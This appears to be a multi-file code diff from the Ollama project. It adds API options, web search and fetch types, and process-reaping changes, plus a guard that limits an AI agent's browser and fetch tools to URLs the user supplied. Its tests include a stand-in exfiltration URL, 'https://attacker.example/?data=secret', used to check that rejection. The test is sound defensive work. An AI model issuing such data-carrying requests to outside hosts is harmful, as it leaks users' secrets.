UseMMap *bool `json:"use_mmap,omitempty"`
NumThread int `json:"num_thread,omitempty"`
DraftNumPredict int `json:"draft_num_predict,omitempty"`
}
// EmbedRequest is the request passed to [Client.Embed].
@@ -672,6 +673,9 @@ type CreateRequest struct {
// Quantize is the quantization format for the model; leave blank to not change the quantization level.
Quantize string `json:"quantize,omitempty"`
// DraftQuantize is the quantization format for the draft model.
DraftQuantize string `json:"draft_quantize,omitempty"`
// From is the name of the model or file to use as the source.
From string `json:"from,omitempty"`
@@ -681,6 +685,9 @@ type CreateRequest struct {
// Files is a map of files include when creating the model.
Files map[string]string `json:"files,omitempty"`
// DraftFiles is a map of draft model files to include when creating the model.
DraftFiles map[string]string `json:"draft_files,omitempty"`
// Adapters is a map of LoRA adapters to include when creating the model.
Adapters map[string]string `json:"adapters,omitempty"`
@@ -802,6 +809,21 @@ type ListResponse struct {
Models []ListModelResponse `json:"models"`
}
// ModelRecommendationsResponse is the response from [Client.ModelRecommendationsExperimental].
type ModelRecommendationsResponse struct {
Recommendations []ModelRecommendation `json:"recommendations"`
}
// ModelRecommendation is a single recommendation entry in [ModelRecommendationsResponse].
type ModelRecommendation struct {
Model string `json:"model"`
Description string `json:"description"`
ContextLength int `json:"context_length,omitempty"`
MaxOutputTokens int `json:"max_output_tokens,omitempty"`
VRAMBytes int64 `json:"vram_bytes,omitempty"`
RequiredPlan string `json:"required_plan,omitempty"`
}
// ProcessResponse is the response from [Client.Process].
type ProcessResponse struct {
Models []ProcessModelResponse `json:"models"`
@@ -809,14 +831,15 @@ type ProcessResponse struct {
// ListModelResponse is a single model description in [ListResponse].
type ListModelResponse struct {
Name string `json:"name"`
Model string `json:"model"`
RemoteModel string `json:"remote_model,omitempty"`
RemoteHost string `json:"remote_host,omitempty"`
ModifiedAt time.Time `json:"modified_at"`
Size int64 `json:"size"`
Digest string `json:"digest"`
Details ModelDetails `json:"details,omitempty"`
Name string `json:"name"`
Model string `json:"model"`
RemoteModel string `json:"remote_model,omitempty"`
RemoteHost string `json:"remote_host,omitempty"`
ModifiedAt time.Time `json:"modified_at"`
Size int64 `json:"size"`
Digest string `json:"digest"`
Details ModelDetails `json:"details,omitempty"`
Capabilities []model.Capability `json:"capabilities,omitempty"`
}
// ProcessModelResponse is a single model description in [ProcessResponse].
@@ -845,6 +868,36 @@ type StatusResponse struct {
Cloud CloudStatus `json:"cloud"`
}
// WebSearchRequest is the request for [Client.WebSearchExperimental].
type WebSearchRequest struct {
Query string `json:"query"`
MaxResults int `json:"max_results,omitempty"`
}
// WebSearchResult is a single result from [Client.WebSearchExperimental].
type WebSearchResult struct {
Title string `json:"title"`
URL string `json:"url"`
Content string `json:"content"`
}
// WebSearchResponse is the response from [Client.WebSearchExperimental].
type WebSearchResponse struct {
Results []WebSearchResult `json:"results"`
}
// WebFetchRequest is the request for [Client.WebFetchExperimental].
type WebFetchRequest struct {
URL string `json:"url"`
}
// WebFetchResponse is the response from [Client.WebFetchExperimental].
type WebFetchResponse struct {
Title string `json:"title"`
Content string `json:"content"`
Links []string `json:"links,omitempty"`
}
// GenerateResponse is the response passed into [GenerateResponseFunc].
type GenerateResponse struct {
// Model is the model name that generated the response.
@@ -909,6 +962,8 @@ type ModelDetails struct {
Families []string `json:"families"`
ParameterSize string `json:"parameter_size"`
QuantizationLevel string `json:"quantization_level"`
ContextLength int `json:"context_length,omitempty"`
EmbeddingLength int `json:"embedding_length,omitempty"`
}
// UserResponse provides information about a user.
@@ -1031,14 +1086,25 @@ func (opts *Options) FromMap(m map[string]any) error {
}
field.Set(reflect.ValueOf(slice))
case reflect.Pointer:
var b bool
if field.Type() == reflect.TypeOf(&b) {
switch field.Type().Elem().Kind() {
case reflect.Bool:
val, ok := val.(bool)
if !ok {
return fmt.Errorf("option %q must be of type boolean", key)
}
field.Set(reflect.ValueOf(&val))
} else {
case reflect.Int:
var i int
switch t := val.(type) {
case int64:
i = int(t)
case float64:
i = int(t)
default:
return fmt.Errorf("option %q must be of type integer", key)
}
field.Set(reflect.ValueOf(&i))
default:
return fmt.Errorf("unknown type loading config params: %v %v", field.Kind(), field.Type())
}
default:
@@ -1071,16 +1137,17 @@ func DefaultOptions() Options {
Runner: Runner{
// options set when the model is loaded
NumCtx: int(envconfig.ContextLength()),
NumBatch: 512,
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
NumThread: 0, // let the runtime decide
UseMMap: nil,
NumCtx: int(envconfig.ContextLength()),
NumBatch: 512,
NumGPU: -1, // -1 here indicates that NumGPU should be set dynamically
NumThread: 0, // let the runtime decide
DraftNumPredict: 4,
UseMMap: nil,
},
}
}
// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low")
// ThinkValue represents a value that can be a boolean or a string ("high", "medium", "low", "max")
type ThinkValue struct {
// Value can be a bool or string
Value interface{}
@@ -1096,7 +1163,7 @@ func (t *ThinkValue) IsValid() bool {
case bool:
return true
case string:
return v == "high" || v == "medium" || v == "low"
return v == "high" || v == "medium" || v == "low" || v == "max"
default:
return false
}
@@ -1130,8 +1197,8 @@ func (t *ThinkValue) Bool() bool {
case bool:
return v
case string:
// Any string value ("high", "medium", "low") means thinking is enabled
return v == "high" || v == "medium" || v == "low"
// Any string value ("high", "medium", "low", "max") means thinking is enabled
return v == "high" || v == "medium" || v == "low" || v == "max"
default:
return false
}
@@ -1169,14 +1236,14 @@ func (t *ThinkValue) UnmarshalJSON(data []byte) error {
var s string
if err := json.Unmarshal(data, &s); err == nil {
// Validate string values
if s != "high" && s != "medium" && s != "low" {
return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", true, or false)", s)
if s != "high" && s != "medium" && s != "low" && s != "max" {
return fmt.Errorf("invalid think value: %q (must be \"high\", \"medium\", \"low\", \"max\", true, or false)", s)
}
t.Value = s
return nil
}
return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", true, or false)")
return fmt.Errorf("think must be a boolean or string (\"high\", \"medium\", \"low\", \"max\", true, or false)")
}
// MarshalJSON implements json.Marshaler
@@ -1279,14 +1346,20 @@ func FormatParams(params map[string][]string) (map[string]any, error) {
// TODO: only string slices are supported right now
out[key] = vals
case reflect.Pointer:
var b bool
if field.Type() == reflect.TypeOf(&b) {
switch field.Type().Elem().Kind() {
case reflect.Bool:
boolVal, err := strconv.ParseBool(vals[0])
if err != nil {
return nil, fmt.Errorf("invalid bool value %s", vals)
}
out[key] = &boolVal
} else {
case reflect.Int:
intVal, err := strconv.ParseInt(vals[0], 10, 64)
if err != nil {
return nil, fmt.Errorf("invalid int value %s", vals)
}
out[key] = intVal
default:
return nil, fmt.Errorf("unknown type %s for %s", field.Kind(), key)
}
default:
+56
View File
@@ -20,6 +20,10 @@ func testPropsMap(m map[string]ToolProperty) *ToolPropertiesMap {
return props
}
func testIntPtr(v int) *int {
return &v
}
// testArgs creates ToolCallFunctionArguments from a map (convenience function for tests, order not preserved)
func testArgs(m map[string]any) ToolCallFunctionArguments {
args := NewToolCallFunctionArguments()
@@ -168,6 +172,47 @@ func TestUseMmapParsingFromJSON(t *testing.T) {
}
}
func TestMainGPUParsingFromJSON(t *testing.T) {
tests := []struct {
name string
req string
wantGPU *int
}{
{
name: "Undefined",
req: `{}`,
},
{
name: "Zero",
req: `{ "main_gpu": 0 }`,
wantGPU: testIntPtr(0),
},
{
name: "Nonzero",
req: `{ "main_gpu": 1 }`,
wantGPU: testIntPtr(1),
},
}
for _, test := range tests {
t.Run(test.name, func(t *testing.T) {
var oMap map[string]any
err := json.Unmarshal([]byte(test.req), &oMap)
require.NoError(t, err)
opts := DefaultOptions()
err = opts.FromMap(oMap)
require.NoError(t, err)
if test.wantGPU == nil {
assert.Nil(t, opts.MainGPU)
} else if assert.NotNil(t, opts.MainGPU) {
assert.Equal(t, *test.wantGPU, *opts.MainGPU)
}
})
}
}
func TestUseMmapFormatParams(t *testing.T) {
tr := true
fa := false
@@ -232,6 +277,12 @@ func TestUseMmapFormatParams(t *testing.T) {
}
}
func TestMainGPUFormatParams(t *testing.T) {
resp, err := FormatParams(map[string][]string{"main_gpu": {"0"}})
require.NoError(t, err)
assert.Equal(t, int64(0), resp["main_gpu"])
}
func TestMessage_UnmarshalJSON(t *testing.T) {
tests := []struct {
input string
@@ -495,6 +546,11 @@ func TestThinking_UnmarshalJSON(t *testing.T) {
input: `{ "think": "low" }`,
expectedThinking: &ThinkValue{Value: "low"},
},
{
name: "string_max",
input: `{ "think": "max" }`,
expectedThinking: &ThinkValue{Value: "max"},
},
{
name: "invalid_string",
input: `{ "think": "invalid" }`,
-4
View File
@@ -157,10 +157,6 @@ func main() {
}
}
if u := os.Getenv("OLLAMA_UPDATE_URL"); u != "" {
updater.UpdateCheckURLBase = u
}
// Detect if this is a first start after an upgrade, in
// which case we need to do some cleanup
var skipMove bool
+10 -50
View File
@@ -14,6 +14,7 @@
#define MyAppPublisher "Ollama"
#define MyAppURL "https://ollama.com/"
#define MyAppExeName "ollama app.exe"
#define LlamaServerExeName "llama-server.exe"
#define MyIcon ".\assets\app.ico"
[Setup]
@@ -90,9 +91,8 @@ DialogFontSize=12
[Files]
#if FileExists("..\dist\windows-ollama-app-amd64.exe")
Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#MyAppExeName}" ;Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('{#MyAppExeName}')
Source: "..\dist\windows-amd64\vc_redist.x64.exe"; DestDir: "{tmp}"; Check: not IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
Source: "..\dist\windows-amd64\ollama.exe"; DestDir: "{app}"; Check: not IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
Source: "..\dist\windows-amd64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
Source: "..\dist\windows-amd64\lib\ollama\*"; Excludes: "\mlx_*\*"; DestDir: "{app}\lib\ollama\"; Check: not IsArm64(); Flags: ignoreversion 64bit recursesubdirs
#endif
; For local development, rely on binary compatibility at runtime since we can't cross compile
@@ -103,9 +103,11 @@ Source: "..\dist\windows-ollama-app-amd64.exe"; DestDir: "{app}"; DestName: "{#M
#endif
#if FileExists("..\dist\windows-arm64\ollama.exe")
Source: "..\dist\windows-arm64\vc_redist.arm64.exe"; DestDir: "{tmp}"; Check: IsArm64() and vc_redist_needed(); Flags: deleteafterinstall
Source: "..\dist\windows-arm64\ollama.exe"; DestDir: "{app}"; Check: IsArm64(); Flags: ignoreversion 64bit; BeforeInstall: TaskKill('ollama.exe')
#endif
#if DirExists("..\dist\windows-arm64\lib\ollama")
Source: "..\dist\windows-arm64\lib\ollama\*"; DestDir: "{app}\lib\ollama\"; Check: IsArm64(); Flags: ignoreversion 64bit recursesubdirs
#endif
Source: ".\assets\app.ico"; DestDir: "{app}"; Flags: ignoreversion
@@ -118,12 +120,6 @@ Name: "{userprograms}\{#MyAppName}"; Filename: "{app}\{#MyAppExeName}"; IconFile
Type: files; Name: "{%LOCALAPPDATA}\Ollama\updates"
[Run]
#if DirExists("..\dist\windows-arm64")
Filename: "{tmp}\vc_redist.arm64.exe"; Parameters: "/install /passive /norestart"; Check: IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
#endif
#if DirExists("..\dist\windows-amd64")
Filename: "{tmp}\vc_redist.x64.exe"; Parameters: "/install /passive /norestart"; Check: not IsArm64() and vc_redist_needed(); StatusMsg: "Installing VC++ Redistributables..."; Flags: waituntilterminated
#endif
Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeName}"""; Flags: postinstall nowait runhidden
[UninstallRun]
@@ -131,6 +127,7 @@ Filename: "{cmd}"; Parameters: "/C set PATH={app};%PATH% & ""{app}\{#MyAppExeNam
; Filename: "{cmd}"; Parameters: "/C ""taskkill /im ollama.exe /f /t"; Flags: runhidden
Filename: "taskkill"; Parameters: "/im ""{#MyAppExeName}"" /f /t"; Flags: runhidden
Filename: "taskkill"; Parameters: "/im ""ollama.exe"" /f /t"; Flags: runhidden
Filename: "taskkill"; Parameters: "/im ""{#LlamaServerExeName}"" /f /t"; Flags: runhidden
; HACK! need to give the server and app enough time to exit
; TODO - convert this to a Pascal code script so it waits until they're no longer running, then completes
Filename: "{cmd}"; Parameters: "/c timeout 5"; Flags: runhidden
@@ -184,46 +181,6 @@ begin
Result := Pos(';' + ExpandConstant(Param) + ';', ';' + OrigPath + ';') = 0;
end;
{ --- VC Runtime libraries discovery code - Only install vc_redist if it isn't already installed ----- }
const VCRTL_MIN_V1 = 14;
const VCRTL_MIN_V2 = 40;
const VCRTL_MIN_V3 = 33807;
const VCRTL_MIN_V4 = 0;
// check if the minimum required vc redist is installed (by looking the registry)
function vc_redist_needed (): Boolean;
var
sRegKey: string;
v1: Cardinal;
v2: Cardinal;
v3: Cardinal;
v4: Cardinal;
begin
if (IsArm64()) then begin
sRegKey := 'SOFTWARE\WOW6432Node\Microsoft\VisualStudio\14.0\VC\Runtimes\arm64';
end else begin
sRegKey := 'SOFTWARE\Microsoft\VisualStudio\14.0\VC\Runtimes\x64';
end;
if (RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Major', v1) and
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Minor', v2) and
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'Bld', v3) and
RegQueryDWordValue (HKEY_LOCAL_MACHINE, sRegKey, 'RBld', v4)) then
begin
Log ('VC Redist version: ' + IntToStr (v1) +
'.' + IntToStr (v2) + '.' + IntToStr (v3) +
'.' + IntToStr (v4));
{ Version info was found. Return true if later or equal to our
minimal required version RTL_MIN_Vx }
Result := not (
(v1 > VCRTL_MIN_V1) or ((v1 = VCRTL_MIN_V1) and
((v2 > VCRTL_MIN_V2) or ((v2 = VCRTL_MIN_V2) and
((v3 > VCRTL_MIN_V3) or ((v3 = VCRTL_MIN_V3) and
(v4 >= VCRTL_MIN_V4)))))));
end
else
Result := TRUE;
end;
function GetDirSize(Path: String): Int64;
var
FindRec: TFindRec;
@@ -370,5 +327,8 @@ procedure TaskKill(FileName: String);
var
ResultCode: Integer;
begin
Exec('taskkill.exe', '/f /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
Exec('taskkill.exe', '/f /t /im ' + '"' + FileName + '"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
if FileName <> '{#LlamaServerExeName}' then begin
Exec('taskkill.exe', '/f /t /im "{#LlamaServerExeName}"', '', SW_HIDE, ewWaitUntilTerminated, ResultCode);
end;
end;
+23
View File
@@ -83,6 +83,29 @@ func resolvePath(name string) string {
return name
}
func ollamaServeArgs(args []string) bool {
if len(args) < 2 {
return false
}
switch strings.Trim(filepath.Base(args[0]), `"`) {
case "ollama", "ollama.exe":
default:
return false
}
for _, rawArg := range args[1:] {
arg := strings.Trim(rawArg, `"`)
if strings.HasPrefix(arg, "-") {
continue
}
return arg == "serve" || arg == "start"
}
return false
}
// cleanup checks the pid file for a running ollama process
// and shuts it down gracefully if it is running
func cleanup() error {
+57
View File
@@ -205,6 +205,63 @@ func TestServerCmdCloudSettingEnv(t *testing.T) {
}
}
func TestOllamaServeArgs(t *testing.T) {
tests := []struct {
name string
args []string
want bool
}{
{
name: "system ollama serve",
args: []string{"ollama", "serve"},
want: true,
},
{
name: "relative path ollama serve",
args: []string{"./ollama", "serve"},
want: true,
},
{
name: "serve after other flags",
args: []string{"./ollama", "--verbose", "serve"},
want: true,
},
{
name: "start alias",
args: []string{"ollama", "start"},
want: true,
},
{
name: "launch command",
args: []string{"ollama", "launch", "opencode"},
want: false,
},
{
name: "run command with model named serve",
args: []string{"ollama", "run", "serve"},
want: false,
},
{
name: "launch command with serve in passthrough args",
args: []string{"ollama", "launch", "codex", "--", "-p", "serve"},
want: false,
},
{
name: "different executable",
args: []string{"go", "run", "serve"},
want: false,
},
}
for _, tt := range tests {
t.Run(tt.name, func(t *testing.T) {
if got := ollamaServeArgs(tt.args); got != tt.want {
t.Fatalf("ollamaServeArgs(%v) = %v, want %v", tt.args, got, tt.want)
}
})
}
}
func TestGetInferenceInfo(t *testing.T) {
tests := []struct {
name string
+14 -1
View File
@@ -46,7 +46,17 @@ func terminated(pid int) (bool, error) {
return false, nil
}
// reapServers kills all ollama processes except our own
func ollamaServeProcess(pid int) bool {
output, err := exec.Command("ps", "-p", strconv.Itoa(pid), "-o", "args=").Output()
if err != nil {
slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
return false
}
return ollamaServeArgs(strings.Fields(strings.TrimSpace(string(output))))
}
// reapServers kills external ollama serve processes except our own.
func reapServers() error {
// Get our own PID to avoid killing ourselves
currentPID := os.Getpid()
@@ -82,6 +92,9 @@ func reapServers() error {
if pid == currentPID {
continue
}
if !ollamaServeProcess(pid) {
continue
}
proc, err := os.FindProcess(pid)
if err != nil {
+27 -2
View File
@@ -101,7 +101,29 @@ func terminated(pid int) (bool, error) {
return true, nil
}
// reapServers kills all ollama processes except our own
func ollamaServeProcess(pid int) bool {
cmd := exec.Command("wmic", "process", "where", fmt.Sprintf("ProcessId=%d", pid), "get", "CommandLine", "/value")
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
output, err := cmd.Output()
if err != nil {
slog.Debug("failed to inspect ollama process", "pid", pid, "err", err)
return false
}
for _, line := range strings.Split(string(output), "\n") {
line = strings.TrimSpace(line)
commandLine, ok := strings.CutPrefix(line, "CommandLine=")
if !ok {
continue
}
return ollamaServeArgs(strings.Fields(strings.ToLower(commandLine)))
}
return false
}
// reapServers kills external ollama serve processes except our own.
func reapServers() error {
// Get current process ID to avoid killing ourselves
currentPID := os.Getpid()
@@ -138,8 +160,11 @@ func reapServers() error {
if pid == currentPID {
continue
}
if !ollamaServeProcess(pid) {
continue
}
cmd := exec.Command("taskkill", "/F", "/PID", pidStr)
cmd := exec.Command("taskkill", "/F", "/T", "/PID", pidStr)
if err := cmd.Run(); err != nil {
slog.Warn("failed to kill ollama process", "pid", pid, "err", err)
}
+10 -7
View File
@@ -1201,13 +1201,16 @@ func (db *database) getSettings() (Settings, error) {
func (db *database) setSettings(s Settings) error {
lastHomeView := strings.ToLower(strings.TrimSpace(s.LastHomeView))
validLaunchView := map[string]struct{}{
"launch": {},
"openclaw": {},
"claude": {},
"codex": {},
"opencode": {},
"droid": {},
"pi": {},
"launch": {},
"openclaw": {},
"claude": {},
"hermes": {},
"codex": {},
"codex-app": {},
"copilot": {},
"opencode": {},
"droid": {},
"pi": {},
}
if lastHomeView != "chat" {
if _, ok := validLaunchView[lastHomeView]; !ok {
+30
View File
@@ -107,6 +107,36 @@ func TestStore(t *testing.T) {
}
})
t.Run("settings disabled home view falls back to launch", func(t *testing.T) {
if err := s.SetSettings(Settings{LastHomeView: "claude-desktop"}); err != nil {
t.Fatal(err)
}
loaded, err := s.Settings()
if err != nil {
t.Fatal(err)
}
if loaded.LastHomeView != "launch" {
t.Fatalf("expected disabled LastHomeView to fall back to launch, got %q", loaded.LastHomeView)
}
})
t.Run("settings codex app home view is accepted", func(t *testing.T) {
if err := s.SetSettings(Settings{LastHomeView: "codex-app"}); err != nil {
t.Fatal(err)
}
loaded, err := s.Settings()
if err != nil {
t.Fatal(err)
}
if loaded.LastHomeView != "codex-app" {
t.Fatalf("expected codex-app LastHomeView to be preserved, got %q", loaded.LastHomeView)
}
})
t.Run("window size", func(t *testing.T) {
if err := s.SetWindowSize(1024, 768); err != nil {
t.Fatal(err)
+4
View File
@@ -563,6 +563,10 @@ func (b *BrowserOpen) Execute(ctx context.Context, args map[string]any) (any, st
return b.state.Data, pageText, nil
}
if !allowedDirectURL(ctx, url) {
return nil, "", fmt.Errorf("direct URL open is only allowed for URLs provided by the user")
}
// Page not in cache, need to crawl it
if b.crawlPage == nil {
b.crawlPage = &BrowserCrawler{}
+21
View File
@@ -65,6 +65,27 @@ func TestBrowserOpen_UseCacheByURL(t *testing.T) {
}
}
func TestBrowserOpen_RejectsUncachedDirectURL(t *testing.T) {
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
bo := NewBrowserOpen(b)
_, _, err := bo.Execute(t.Context(), map[string]any{"id": "https://attacker.example/?data=secret"})
if err == nil || !strings.Contains(err.Error(), "only allowed for URLs provided by the user") {
t.Fatalf("expected direct URL rejection, got %v", err)
}
}
func TestDirectURLsFromText_AllowsExactUserURLsOnly(t *testing.T) {
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://example.com/article?q=1 please")
if !allowedDirectURL(ctx, "https://example.com/article?q=1") {
t.Fatal("expected exact user-provided URL to be allowed")
}
if allowedDirectURL(ctx, "https://example.com/article?q=secret") {
t.Fatal("did not expect modified URL to be allowed")
}
}
func TestDisplayPage_InvalidLoc(t *testing.T) {
b := NewBrowser(&responses.BrowserStateData{PageStack: []string{}, ViewTokens: 1024, URLToPage: map[string]*responses.Page{}})
p := makeTestPage("https://example.com/x")
+61
View File
@@ -0,0 +1,61 @@
//go:build windows || darwin
package tools
import (
"context"
"regexp"
"strings"
)
type directURLContextKey struct{}
var directURLPattern = regexp.MustCompile("https?://[^\\s<>\"'`]+")
func WithAllowedDirectURLs(ctx context.Context, text string) context.Context {
allowed := make(map[string]struct{})
for _, match := range directURLPattern.FindAllString(text, -1) {
addAllowedDirectURLToMap(allowed, match)
}
return context.WithValue(ctx, directURLContextKey{}, allowed)
}
func addAllowedDirectURL(ctx context.Context, raw string) {
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
addAllowedDirectURLToMap(allowed, raw)
}
func addAllowedDirectURLToMap(allowed map[string]struct{}, raw string) {
if allowed == nil {
return
}
raw = cleanDirectURL(raw)
if raw == "" {
return
}
allowed[raw] = struct{}{}
}
func allowedDirectURL(ctx context.Context, raw string) bool {
allowed, _ := ctx.Value(directURLContextKey{}).(map[string]struct{})
cleaned := cleanDirectURL(raw)
if cleaned == "" || cleaned != raw {
return false
}
_, ok := allowed[cleaned]
return ok
}
func cleanDirectURL(raw string) string {
raw = strings.TrimSpace(raw)
raw = strings.TrimRight(raw, ".,;:!?)]}")
if !strings.HasPrefix(raw, "http://") && !strings.HasPrefix(raw, "https://") {
return ""
}
return raw
}
+21
View File
@@ -0,0 +1,21 @@
//go:build windows || darwin
package tools
import "testing"
func TestDirectURLsFromText_RejectsChangedToolArgument(t *testing.T) {
ctx := WithAllowedDirectURLs(t.Context(), "summarize https://attacker.example/x")
if allowedDirectURL(ctx, "https://attacker.example/x!!!!") {
t.Fatal("expected changed tool argument to be rejected")
}
}
func TestDirectURLsFromText_ExtractsMarkdownCodeSpanURL(t *testing.T) {
ctx := WithAllowedDirectURLs(t.Context(), "summarize `https://example.com/privacy`")
if !allowedDirectURL(ctx, "https://example.com/privacy") {
t.Fatal("expected URL wrapped in backticks to be allowed")
}
}
+6
View File
@@ -67,11 +67,17 @@ func (w *WebFetch) Execute(ctx context.Context, args map[string]any) (any, strin
if !ok || strings.TrimSpace(urlStr) == "" {
return nil, "", fmt.Errorf("url must be a non-empty string")
}
if !allowedDirectURL(ctx, urlStr) {
return nil, "", fmt.Errorf("web fetch is only allowed for URLs provided by the user")
}
result, err := performWebFetch(ctx, urlStr)
if err != nil {
return nil, "", err
}
for _, link := range result.Links {
addAllowedDirectURL(ctx, link)
}
return result, "", nil
}
+3
View File
@@ -88,6 +88,9 @@ func (w *WebSearch) Execute(ctx context.Context, args map[string]any) (any, stri
if err != nil {
return nil, "", err
}
for _, result := range result.Results {
addAllowedDirectURL(ctx, result.URL)
}
return result, "", nil
}
@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Claude Code</title><path clip-rule="evenodd" d="M20.998 10.949H24v3.102h-3v3.028h-1.487V20H18v-2.921h-1.487V20H15v-2.921H9V20H7.488v-2.921H6V20H4.487v-2.921H3V14.05H0V10.95h3V5h17.998v5.949zM6 10.949h1.488V8.102H6v2.847zm10.51 0H18V8.102h-1.49v2.847z" fill="#D97757" fill-rule="evenodd"></path></svg>

After

Width:  |  Height:  |  Size: 424 B

Binary file not shown.

After

Width:  |  Height:  |  Size: 41 KiB

@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z" fill="white"/></svg>

After

Width:  |  Height:  |  Size: 1.9 KiB

@@ -0,0 +1 @@
<svg xmlns="http://www.w3.org/2000/svg" fill="currentColor" fill-rule="evenodd" style="flex:none;line-height:1" viewBox="0 2.5 24 19"><path d="M19.245 5.364c1.322 1.36 1.877 3.216 2.11 5.817.622 0 1.2.135 1.592.654l.73.964c.21.278.323.61.323.955v2.62c0 .339-.173.669-.453.868C20.239 19.602 16.157 21.5 12 21.5c-4.6 0-9.205-2.583-11.547-4.258-.28-.2-.452-.53-.453-.868v-2.62c0-.345.113-.679.321-.956l.73-.963c.392-.517.974-.654 1.593-.654l.029-.297c.25-2.446.81-4.213 2.082-5.52 2.461-2.54 5.71-2.851 7.146-2.864h.198c1.436.013 4.685.323 7.146 2.864zm-7.244 4.328c-.284 0-.613.016-.962.05-.123.447-.305.85-.57 1.108-1.05 1.023-2.316 1.18-2.994 1.18-.638 0-1.306-.13-1.851-.464-.516.165-1.012.403-1.044.996a65.882 65.882 0 00-.063 2.884l-.002.48c-.002.563-.005 1.126-.013 1.69.002.326.204.63.51.765 2.482 1.102 4.83 1.657 6.99 1.657 2.156 0 4.504-.555 6.985-1.657a.854.854 0 00.51-.766c.03-1.682.006-3.372-.076-5.053-.031-.596-.528-.83-1.046-.996-.546.333-1.212.464-1.85.464-.677 0-1.942-.157-2.993-1.18-.266-.258-.447-.661-.57-1.108-.32-.032-.64-.049-.96-.05zm-2.525 4.013c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zm5 0c.539 0 .976.426.976.95v1.753c0 .525-.437.95-.976.95a.964.964 0 01-.976-.95v-1.752c0-.525.437-.951.976-.951zM7.635 5.087c-1.05.102-1.935.438-2.385.906-.975 1.037-.765 3.668-.21 4.224.405.394 1.17.657 1.995.657h.09c.649-.013 1.785-.176 2.73-1.11.435-.41.705-1.433.675-2.47-.03-.834-.27-1.52-.63-1.813-.39-.336-1.275-.482-2.265-.394zm6.465.394c-.36.292-.6.98-.63 1.813-.03 1.037.24 2.06.675 2.47.968.957 2.136 1.104 2.776 1.11h.044c.825 0 1.59-.263 1.995-.657.555-.556.765-3.187-.21-4.224-.45-.468-1.335-.804-2.385-.906-.99-.088-1.875.058-2.265.394zM12 7.615c-.24 0-.525.015-.84.044.03.16.045.336.06.526l-.001.159a2.94 2.94 0 01-.014.25c.225-.022.425-.027.612-.028h.366c.187 0 .387.006.612.028-.015-.146-.015-.277-.015-.409.015-.19.03-.365.06-.526a9.29 9.29 0 00-.84-.044z"/></svg>

After

Width:  |  Height:  |  Size: 1.9 KiB

@@ -0,0 +1,181 @@
<?xml version="1.0" encoding="UTF-8"?>
